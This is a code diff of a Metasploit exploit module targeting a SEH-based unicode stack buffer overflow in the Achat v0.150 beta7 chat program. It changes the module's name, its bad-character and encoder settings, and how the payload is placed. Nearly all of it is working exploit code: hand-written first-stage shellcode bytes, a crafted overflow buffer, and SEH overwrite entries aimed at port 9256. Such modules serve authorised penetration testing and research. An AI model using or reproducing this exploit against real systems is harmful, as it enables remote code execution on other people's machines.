@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'Achat Beta v0.150 Buffer Overflow' ,
16
+ 'Name' => 'Achat v0.150 beta7 Buffer Overflow' ,
17
17
'Description' => %q{
18
18
This module exploits a SEH based unicode stack buffer overflow in Achat v0.150,
19
19
by sending a crafted message to the default harcoded port 9256. The message
@@ -38,9 +38,11 @@ def initialize(info = {})
38
38
} ,
39
39
'Payload' =>
40
40
{
41
+ 'DisableNops' => true ,
41
42
'Space' => 730 ,
42
- # 'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
43
+ 'BadChars' => "\x00 " + ( 0x80 ..0xff ) . to_a . pack ( "C*" ) ,
43
44
'StackAdjustment' => -3500 ,
45
+ 'EncoderType' => Msf ::Encoder ::Type ::AlphanumUnicodeMixed ,
44
46
'EncoderOptions' =>
45
47
{
46
48
'BufferRegister' => 'EAX' ,
@@ -84,9 +86,6 @@ def exploit
84
86
# 59 POP ECX # padding
85
87
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
86
88
firststage = "\x55 \x2A \x55 \x6E \x58 \x6E \x05 \x14 \x11 \x6E \x2D \x13 \x11 \x6E \x50 \x6E \x58 \x43 \x59 \x39 "
87
- encoder = framework . encoders . create ( 'x86/unicode_mixed' )
88
- encoder . datastore . import_options_from_hash ( { 'BufferRegister' => 'EAX' } )
89
- payloadencoded = encoder . encode ( payload . raw , nil , nil , platform )
90
89
91
90
sploit = "A0000000002#Main" + "\x00 " + "Z" *114688 + "\x00 " + "A" *10 + "\x00 "
92
91
sploit << "A0000000002#Main" + "\x00 " + "A" *57288 + "AAAAASI" *50 + "A" *( 3750 -46 )
@@ -117,7 +116,7 @@ def exploit
117
116
sploit << "\x43 \x55 \x6E \x58 \x6E \x2A \x2A \x05 \x14 \x11 \x43 \x2d \x13 \x11 \x43 \x50 \x43 \x5D " + "C" *9 + "\x60 \x43 "
118
117
sploit << "\x61 \x43 " + target . ret # second nseh entry, for the second thread
119
118
sploit << "\x2A " + firststage + "C" *( 157 -firststage . length -31 -3 ) # put address of the payload to EAX
120
- sploit << payloadencoded + "A" *( 1152 -payloadencoded . length ) # placing the payload
119
+ sploit << payload . encoded + "A" *( 1152 -payload . encoded . length ) # placing the payload
121
120
sploit << "\x00 " + "A" *10 + "\x00 "
122
121
123
122
0 commit comments